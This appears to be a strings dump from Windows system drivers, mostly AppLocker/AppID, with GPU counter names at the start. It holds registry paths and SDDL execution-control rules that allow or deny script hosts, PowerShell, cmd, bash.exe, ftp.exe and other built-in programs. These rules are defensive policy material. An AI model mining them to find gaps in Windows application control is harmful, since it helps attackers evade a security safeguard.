dxgmms2.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation GPU Engine GPU Engine Running Time Running Time Utilization Percentage Utilization Percentage GPU Process Memory GPU Process Memory Total Committed Total Committed Local Usage Local Usage Non Local Usage Non Local Usage GPU Adapter Memory GPU Adapter Memory Total Committed Total Committed GPU Local Adapter Memory GPU Local Adapter Memory Local Usage Local Usage GPU Non Local Adapter Memory GPU Non Local Adapter Memory Non Local Usage Non Local Usage Dedicated Usage Dedicated Usage Dedicated Usage Dedicated Usage Shared Usage Shared Usage Shared Usage Shared Usage #The running time of each gpu engine Running time of this engine (Percentage of time this process is using The memory usage of each process Total committed memory used Local memory used Non local memory used The memory usage of each adapter *Total committed memory used by the adapter &The local memory usage of each adapter Local adapter memory used *The non local memory usage of each adapter Non local adapter memory used $Dedicated memory used by the adapter Dedicated memory used Shared memory used !Shared memory used by the adapter en-US \Device\DxgKrnl \Device\Cdd cdd.dll Courier MS Sans Serif System IoCreateDeviceSecure IoValidateDeviceIoControlAccess SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Device\AppID \??\AppID EnablePath EnableFqbn EnableSha256FlatHash EnableSha1Hash EnableSha256Hash \Registry\Machine\System\CurrentControlSet\Control\AppID\ msiexec.exe \SystemRoot\System32\msiexec.exe rundll32.exe \SystemRoot\System32\rundll32.exe .exe \DosDevices\ \BaseNamedObjects\SC_AutoStartPhase1Done APPID://PATH %SYSTEM32%\WINDOWSPOWERSHELL\V1.0\POWERSHELL_ISE.EXE APPID://PATH %SYSTEM32%\CSCRIPT.EXE APPID://PATH %SYSTEM32%\CMD.EXE APPID://PATH %SYSTEM32%\WSCRIPT.EXE APPID://PATH %SYSTEM32%\MSIEXEC.EXE APPID://PATH %SYSTEM32%\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE 2b3013c0-8c25-4f77-ac0c-e329e6612ab6D:(XA;;FX;;;S-1-1-0;(APPID://PATH Contains "%SYSTEM32%\WINDOWSPOWERSHELL\V1.0\POWERSHELL_ISE.EXE"))%SYSTEM32%\WINDOWSPOWERSHELL\V1.0\POWERSHELL_ISE.EXE39ba51ef-475e-42da-af83-96587253c533D:(XA;;FX;;;S-1-1-0;(APPID://PATH Contains "%SYSTEM32%\CSCRIPT.EXE"))%SYSTEM32%\CSCRIPT.EXEa2f80b71-6df9-4ec3-90c4-5e151d78a5f3D:(XA;;FX;;;S-1-1-0;(APPID://PATH Contains "%SYSTEM32%\CMD.EXE"))%SYSTEM32%\CMD.EXEf8d8f624-9260-40ee-b1a5-ec7a0c0e2572D:(XA;;FX;;;S-1-1-0;(APPID://PATH Contains "%SYSTEM32%\WSCRIPT.EXE"))%SYSTEM32%\WSCRIPT.EXEfbf04dd6-0c81-4631-8dca-045da8b8245aD:(XA;;FX;;;S-1-1-0;(APPID://PATH Contains "%SYSTEM32%\MSIEXEC.EXE"))%SYSTEM32%\MSIEXEC.EXEApplocker Private\LowBox ACE(A;;FX;;;S-1-15-2-1)LowBox ACEApplocker Private\LPAC ACE(A;;FX;;;S-1-15-2-2)LPAC ACE01a9b838-a079-4913-98e5-5c9156d39f9fD:(XA;;FX;;;S-1-1-0;(APPID://PATH Contains "%SYSTEM32%\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"))%SYSTEM32%\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE APPID://PATH %SYSTEM32%\MSIEXEC.EXE Applocker Private\LowBox ACE(A;;FX;;;S-1-15-2-1)LowBox ACE7e9d9b26-94db-47a0-87be-ff7268a06c9fD:(XA;;FX;;;S-1-1-0;(APPID://PATH Contains "%SYSTEM32%\MSIEXEC.EXE"))%SYSTEM32%\MSIEXEC.EXE NULL AppLocker EDP Plugin Enterprise Data protection plugin WPC Plugin Family Safety Plugin WDAG Plugin Windows Defender Application Guard Plugin APPX MANAGEDINSTALLER \SystemRoot\System32\AppLocker\EXE.AppLocker \SystemRoot\System32\AppLocker\DLL.AppLocker \SystemRoot\System32\AppLocker\APPX.AppLocker \SystemRoot\System32\AppLocker\MANAGEDINSTALLER.AppLocker \Device\SrpDevice \??\SrpDevice \Callback\LicensingData \REGISTRY\MACHINE\System\CurrentControlSet\Control\AppID\Configuration\SMARTLOCKER ENABLED DISABLED \Registry\Machine\System\CurrentControlSet\Control\Srp\GP\ LastSmartlockerEnabled SMARTLOCKER://ORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM Microsoft WindowsLockdownPolicySettings ISGSmartscreenTrustSuppressed dAPPID://SHA256HASH APPID://FQBN APPID://PATH \%u.%u.%u.%u TrustedOriginDataId CurrentOriginDataId appid-EnableV2 dbc4c77e-cf0a-44d7-8a79-5eb45d64decd \Registry\Machine\System\CurrentControlSet\Control\AppID\Configuration\EventSuppression NoPropogationLogOption Applocker Private\LowBox ACE Appx LastWriteTime \SystemRoot\System32\AppLocker\{........-....-....-....-............}.Policy \SystemRoot\System32\AppLocker\{%08x-%04hx-%04hx-%02x%02x-%02x%02x%02x%02x%02x%02x}.Policy \SystemRoot\System32\AppLocker\plugin.%I64i.Policy Plugin.*.Policy \SystemRoot\System32\Applocker \%u.%u.%u.%02u \??\ \??\UNC\ \Registry\Machine\System\CurrentControlSet\Control\AppID\Configuration UsePublisherId UseSystemIdentityOnly \Registry\Machine\System\CurrentControlSet\Control\AppID\CertStore\ PublisherName PublicKey NotAfter NotBefore Unknown Untrusted LifetimeSigning %02hhx%02hhx%02hhx%02hhx DisableExeLinkedTokenLookup APPID://SHA256FLATHASH APPID://SHA1HASH %PROGRAMFILES% \Registry\Machine\Software\Microsoft\Windows\CurrentVersion ProgramFilesDir ProgramFilesDir (x86) %OSDRIVE% %WINDIR% %SYSTEM32% %WINDIR%\System32 %WINDIR%\SysWOW64 %REMOVABLE% %HOT% \SystemRoot\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\ \Registry\Machine\WindowsAppLockerCache PackageName PackageVersion CertPublicKey \SystemRoot\System32\AppLocker\AppCache.dat SHA1 SHA256 HashDigestLength ObjectLength APPXOriginalFileName ProductName \VarFileInfo\Translation \StringFileInfo\%04x%04x\ fH( HvHP enterpriseDataPolicy \REGISTRY\MACHINE\System\CurrentControlSet\Control\AppID\Configuration\EDP EdpDisableAudit \security\EDP\Logs\AppLearning_1.etl \Device\AppidEDPPlugin \??\AppidEDPPlugin \REGISTRY\MACHINE\System\CurrentControlSet\control\session manager\kernel SeTokenSingletonAttributesConfig 222A8A43-0122-432F-86BB-FECA40971E35 ExeAllow ExeExempt AppxAllow AppxExempt Enlightened EnlightenedAllowed Permissive AppxDisallowedIsExempted ExeDisallowedIsExempted DataContext \REGISTRY\MACHINE\System\CurrentControlSet\Control\AppID\Configuration\EDP\EdpLiveEnforcement EnforcementLevel UserOwned APPID://FQBN APPID://FQBN 8WEKYB3D8BBWE\MICROSOFT.COMMSPHONE\* APPID://FQBN APPID://FQBN 8WEKYB3D8BBWE\2A4E62D8-8809-4787-89F8-69D0F01654FB\* APPID://FQBN APPID://FQBN *\5B04B775-356B-4AA0-AAF8-6491FFEA5902\* APPID://FQBN APPID://FQBN *\5B04B775-356B-4AA0-AAF8-6491FFEA5903\* APPID://FQBN APPID://FQBN *\5B04B775-356B-4AA0-AAF8-6491FFEA5904\* APPID://FQBN APPID://FQBN *\5B04B775-356B-4AA0-AAF8-6491FFEA5909\* APPID://FQBN APPID://FQBN *\5B04B775-356B-4AA0-AAF8-6491FFEA5905\* APPID://FQBN APPID://FQBN *\5B04B775-356B-4AA0-AAF8-6491FFEA590A\* APPID://FQBN APPID://FQBN *\5B04B775-356B-4AA0-AAF8-6491FFEA5906\* APPID://FQBN APPID://FQBN *\MICROSOFT.WINDOWSSTORE\* APPID://FQBN APPID://FQBN CN=MICROSOFT CORPORATION, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.DESKTOPAPPINSTALLER\* 07db5aac-cbb4-41c6-a34e-6d1d495b1900D:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"8WEKYB3D8BBWE\MICROSOFT.COMMSPHONE\*",0}))))Microsoft.CommsPhone, from CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US07db5aac-cbb4-41c6-a34e-6d1d495b1901D:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"8WEKYB3D8BBWE\2A4E62D8-8809-4787-89F8-69D0F01654FB\*",0}))))2a4e62d8-8809-4787-89f8-69d0f01654fb, from CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US07db5aac-cbb4-41c6-a34e-6d1d495b1902D:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"*\5B04B775-356B-4AA0-AAF8-6491FFEA5902\*",0}))))5B04B775-356B-4AA0-AAF8-6491FFEA5902, from CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US07db5aac-cbb4-41c6-a34e-6d1d495b1903D:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"*\5B04B775-356B-4AA0-AAF8-6491FFEA5903\*",0}))))5B04B775-356B-4AA0-AAF8-6491FFEA5903, from CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US07db5aac-cbb4-41c6-a34e-6d1d495b1904D:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"*\5B04B775-356B-4AA0-AAF8-6491FFEA5904\*",0}))))5B04B775-356B-4AA0-AAF8-6491FFEA5904, from CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US07db5aac-cbb4-41c6-a34e-6d1d495b1905D:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"*\5B04B775-356B-4AA0-AAF8-6491FFEA5909\*",0}))))5B04B775-356B-4AA0-AAF8-6491FFEA5909, from CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US07db5aac-cbb4-41c6-a34e-6d1d495b1906D:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"*\5B04B775-356B-4AA0-AAF8-6491FFEA5905\*",0}))))5B04B775-356B-4AA0-AAF8-6491FFEA5905, from CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US07db5aac-cbb4-41c6-a34e-6d1d495b1907D:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"*\5B04B775-356B-4AA0-AAF8-6491FFEA590A\*",0}))))5B04B775-356B-4AA0-AAF8-6491FFEA590A, from CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US07db5aac-cbb4-41c6-a34e-6d1d495b1908D:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"*\5B04B775-356B-4AA0-AAF8-6491FFEA5906\*",0}))))5B04B775-356B-4AA0-AAF8-6491FFEA5906, from CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=USed59d942-4356-4ec7-8015-d1923476508bD:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"*\MICROSOFT.WINDOWSSTORE\*",0}))))Microsoft.WindowsStore, from CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=USf3eca261-b35c-4c40-b043-d671e122ee03D:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT CORPORATION, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.DESKTOPAPPINSTALLER\*",0}))))Microsoft.DesktopAppInstaller, from CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=USApplocker Private\LowBox ACE(A;;FX;;;S-1-15-2-1)LowBox ACE APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\FSQUIRT.EXE APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\NOTEPAD.EXE APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\MSPAINT.EXE APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\SNIPPINGTOOL.EXE APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\JOURNAL.EXE APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\WORDPAD.EXE APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\XPSRCHVW.EXE APPID://FQBN APPID://FQBN CN=WINDOWS CENTRAL BUILD ACCOUNT\INTERNET EXPLORER\IEXPLORE.EXE APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\WMPLAYER.EXE APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\MSTSC.EXE APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\ADOBE FLASH PLAYER UTILITY\* APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\BASH.EXE APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\PREVHOST.EXE APPID://FQBN APPID://FQBN O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\FTP.EXE APPID://PATH 15bc27d3-941b-424c-82e9-a32b1670cd2fD:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\FSQUIRT.EXE",0}))))FSQUIRT.EXE, in MICROSOFT WINDOWS OPERATING SYSTEM from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USa6e2b74a-89a2-43fc-bab7-da5be58846a0D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\NOTEPAD.EXE",0}))))NOTEPAD.EXE, in MICROSOFT WINDOWS OPERATING SYSTEM, from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USa6e2b74a-89a2-43fc-bab7-da5be58846a1D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\MSPAINT.EXE",0}))))MSPAINT.EXE, in MICROSOFT WINDOWS OPERATING SYSTEM, from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USa6e2b74a-89a2-43fc-bab7-da5be58846a2D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\SNIPPINGTOOL.EXE",0}))))SNIPPINGTOOL.EXE, in MICROSOFT WINDOWS OPERATING SYSTEM, from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USa6e2b74a-89a2-43fc-bab7-da5be58846a4D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\JOURNAL.EXE",0}))))JOURNAL.EXE, in MICROSOFT WINDOWS OPERATING SYSTEM, from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USa6e2b74a-89a2-43fc-bab7-da5be58846a5D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\WORDPAD.EXE",0}))))WORDPAD.EXE, in MICROSOFT WINDOWS OPERATING SYSTEM, from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USa6e2b74a-89a2-43fc-bab7-da5be58846a6D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\XPSRCHVW.EXE",0}))))XPSRCHVW.EXE, in MICROSOFT WINDOWS OPERATING SYSTEM, from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USa6e2b74a-89a2-43fc-bab7-da5be58846a7D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=WINDOWS CENTRAL BUILD ACCOUNT\INTERNET EXPLORER\IEXPLORE.EXE",0}))))IEXPLORE.EXE, in INTERNET EXPLORER, from CN=WINDOWS CENTRAL BUILD ACCOUNTa6e2b74a-89a2-43fc-bab7-da5be58846a8D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\WMPLAYER.EXE",0}))))WMPLAYER.EXE, in MICROSOFT WINDOWS OPERATING SYSTEM, from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USa6e2b74a-89a2-43fc-bab7-da5be58846a9D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\MSTSC.EXE",0}))))MSTSC.EXE, in MICROSOFT WINDOWS OPERATING SYSTEM, from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USa6e2b74a-89a2-43fc-bab7-da5be58846aaD:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\ADOBE FLASH PLAYER UTILITY\*",0}))))All files in ADOBE FLASH PLAYER UTILITY, from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USa6e2b74a-89a2-43fc-bab7-da5be58846abD:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\BASH.EXE",0}))))BASH.EXE, in MICROSOFT WINDOWS OPERATING SYSTEM, from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USa6e2b74a-89a2-43fc-bab7-da5be58846adD:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\PREVHOST.EXE",0}))))PREVHOST.EXE, in MICROSOFT WINDOWS OPERATING SYSTEM, from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USc5eda911-57da-4638-8557-c261ba130391D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT WINDOWS OPERATING SYSTEM\FTP.EXE",0}))))FTP.EXE, in MICROSOFT WINDOWS OPERATING SYSTEM from O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=USApplocker Private\LowBox ACE(A;;FX;;;S-1-15-2-1)LowBox ACEApplocker Private\LPAC ACE(A;;FX;;;S-1-15-2-2)LPAC ACEfd686d83-a829-4351-8ff4-27c7de5755d2D:(XA;;FX;;;S-1-1-0;(APPID://PATH Contains "*"))Allow All APPID://FQBN APPID://FQBN CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\FILEMANAGER\* APPID://FQBN APPID://FQBN CN=MICROSOFT CORPORATION, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.MICROSOFTEDGE\* APPID://FQBN APPID://FQBN CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.WINDOWS.CONTENTDELIVERYMANAGER\* APPID://FQBN APPID://FQBN CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\WINDOWS.CONTACTSUPPORT\* APPID://FQBN APPID://FQBN CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.WINDOWS.ASSIGNEDACCESSLOCKAPP\* APPID://FQBN APPID://FQBN CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.WINDOWS.PARENTALCONTROLS\* APPID://FQBN APPID://FQBN CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.MOCAMERA\* APPID://FQBN APPID://FQBN *\*\* 07db5aac-cbb4-41c6-a34e-6d1d495b1901D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\FILEMANAGER\*",0}))))FileManager, from Microsoft Corporation07db5aac-cbb4-41c6-a34e-6d1d495b1902D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT CORPORATION, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.MICROSOFTEDGE\*",0}))))Microsoft.MicrosoftEdge, from Microsoft Corporation07db5aac-cbb4-41c6-a34e-6d1d495b1903D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.WINDOWS.CONTENTDELIVERYMANAGER\*",0}))))Microsoft.Windows.ContentDeliveryManager, from Microsoft Corporation07db5aac-cbb4-41c6-a34e-6d1d495b1904D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\WINDOWS.CONTACTSUPPORT\*",0}))))Windows.ContactSupport, from Microsoft Corporation07db5aac-cbb4-41c6-a34e-6d1d495b1905D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.WINDOWS.ASSIGNEDACCESSLOCKAPP\*",0}))))Microsoft.Windows.AssignedAccessLockApp, from Microsoft Corporation07db5aac-cbb4-41c6-a34e-6d1d495b1907D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.WINDOWS.PARENTALCONTROLS\*",0}))))Microsoft.Windows.ParentalControls, from Microsoft Corporation07db5aac-cbb4-41c6-a34e-6d1d495b1900D:(XD;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"CN=MICROSOFT WINDOWS, O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US\MICROSOFT.MOCAMERA\*",0}))))Microsoft.MoCamera, from Microsoft CorporationApplocker Private\LowBox ACE(A;;FX;;;S-1-15-2-1)LowBox ACEfd686d83-a829-4351-8ff4-27c7de5755d2D:(XA;;FX;;;S-1-1-0;((Exists APPID://FQBN) && ((APPID://FQBN) >= ({"*\*\*",0}))))(Default Rule) All signed packaged apps WDAG://RestrictInternetAccess EDP://EvaluationFlags EDP://ExemptEnterpriseIds EDP://EnterpriseIds EDP://PolicyFlags PEDP://IntentEnterpriseId \security\EDP\Logs\AuditTCB.meta BE235AAC-AC9D-4DDC-9FA6-D4C37AF837B7 \security\EDP\Logs\AuditTCB_%d.etl \security\EDP\Logs\AppLearning.meta \security\EDP\Logs\AuditRegular_%d.etl \security\EDP\Logs\AuditRegular.meta F589D420-8B9A-40A2-95A8-DBB27ED17997 \security\EDP\Logs\AppLearning_%d.etl D425B399-4B71-4151-8DAF-413F92A75EC3 \DosDevices\ %02x TSA://ProcUnique PEDP://InhAppUnique PEDP://InhProcUnique EDPENLIGHTENEDAPPINFOID MICROSOFTEDPENLIGHTENEDAPPINFO EDPPERMISSIVEAPPINFOID MICROSOFTEDPPERMISSIVEAPPINFO EDPAUTOPROTECTIONALLOWEDAPPINFOID MICROSOFTEDPAUTOPROTECTIONALLOWEDAPPINFO AUTOPROTECTIONALLOWEDAPPINFOID \??\AppID \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall \REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall \REGISTRY\USER\Software\Microsoft\Windows\CurrentVersion\Uninstall \REGISTRY\USER\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall \REGISTRY\USER\ Software\Microsoft\Windows\CurrentVersion\Uninstall Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall UninstallString SMARTLOCKER://ORIGINCLAIM \REGISTRY\MACHINE\System\CurrentControlSet\Control\AppID\Configuration\SMARTLOCKER DISABLED \Device\BootDevice\ \Device\BootDevice \SystemRoot\System32\config\BFS \Device\Bfs SHA256 150000 ProgramData S-1-* \LOCAL\ Sessions\ LOCAL\ \Registry\Machine\SYSTEM\CurrentControlSet\Control\FileSystem MaximumTunnelEntries MaximumTunnelEntryAgeInSeconds \Registry\WC\Silo HashDigestLength appSiloFileSystem windows ProgramFilesDir CommonFilesDir ProgramFilesDir (x86) CommonFilesDir (x86) ProgramData \ADAM \addins \Application Compatibility Scripts \AppPatch \Branding \Cluster \CSC \Cursors \DigitalLocker \Downloaded Program Files \ehome \Fonts \Globalization \Help \idmu \IME \inf \Installer \L2Schemas \LiveKernelReports \Logs \Media \Microsoft.NET \ModemLogs \MSAgent \nap \Offline Web Pages \Performance \PLA \PolicyDefinitions \prefetch \provisioning \Registration \Resources \SchCache \schemas \security \ShellNew \SUA \SYSMSI \SysMsiCache \System32\AdvancedInstallers \System32\CatRoot \System32\CatRoot2 \System32\CCM \System32\ccmsetup \System32\certsrv \System32\Clients \System32\CodeIntegrity \System32\Com \System32\config \System32\dhcp \System32\dns \System32\Drivers \System32\DriverStore \System32\FxsTmp \System32\GroupPolicy \System32\GroupPolicyUsers \System32\hcs \System32\IAS \System32\icsxml \System32\ime \System32\Inetsrv \System32\Ipmi \System32\Licensing \System32\LogFiles \System32\lserver \System32\manifeststore \System32\migration \System32\migwiz \System32\MSDTC \System32\msmq \System32\MUI \System32\ndf \System32\OOBE \System32\Printing_Admin_Scripts \System32\RAS \System32\RemInst \System32\restore \System32\rms \System32\RpcProxy \System32\Setup \System32\SPPUI \System32\SMI \System32\Speech \System32\Spool \System32\sr-Latn-CS \System32\srm \System32\sysprep \System32\Tasks \System32\tssesdir \System32\wbem \System32\WDI \System32\wfp \System32\windows media \System32\Windows System Resource Manager \System32\winevt \System32\winrm \System32\wins \System32\WMI Config \System32\XPSViewer \TAPI \Tasks \Tracing \Twain_32 \Web \WindowsMobile \WinFX \WinSxS \cmak \Internet Explorer \Microsoft Games\Chess \Microsoft Games\FreeCell \Microsoft Games\Hearts \Microsoft Games\Mahjong \Microsoft Games\Minesweeper \Microsoft Games\Purble Place \Microsoft Games\Solitaire \Microsoft Games\SpiderSolitaire \Movie Maker \MSBuild \MSN \Packaged Programs \Reference Assemblies\Microsoft\Framework \RSS Explorer \Windows Calendar \Windows Defender \Windows Journal \Windows Mail \Windows Media Player \Windows NT \Windows Photo Gallery \Windows Sidebar \Microsoft Shared \Services \SpeechEngines \System \Microsoft\Assistance \Microsoft\Crypto \Microsoft\DRM \Microsoft\eHome \Microsoft\Event Viewer \Microsoft\IdentityCRL \Microsoft\Media Index 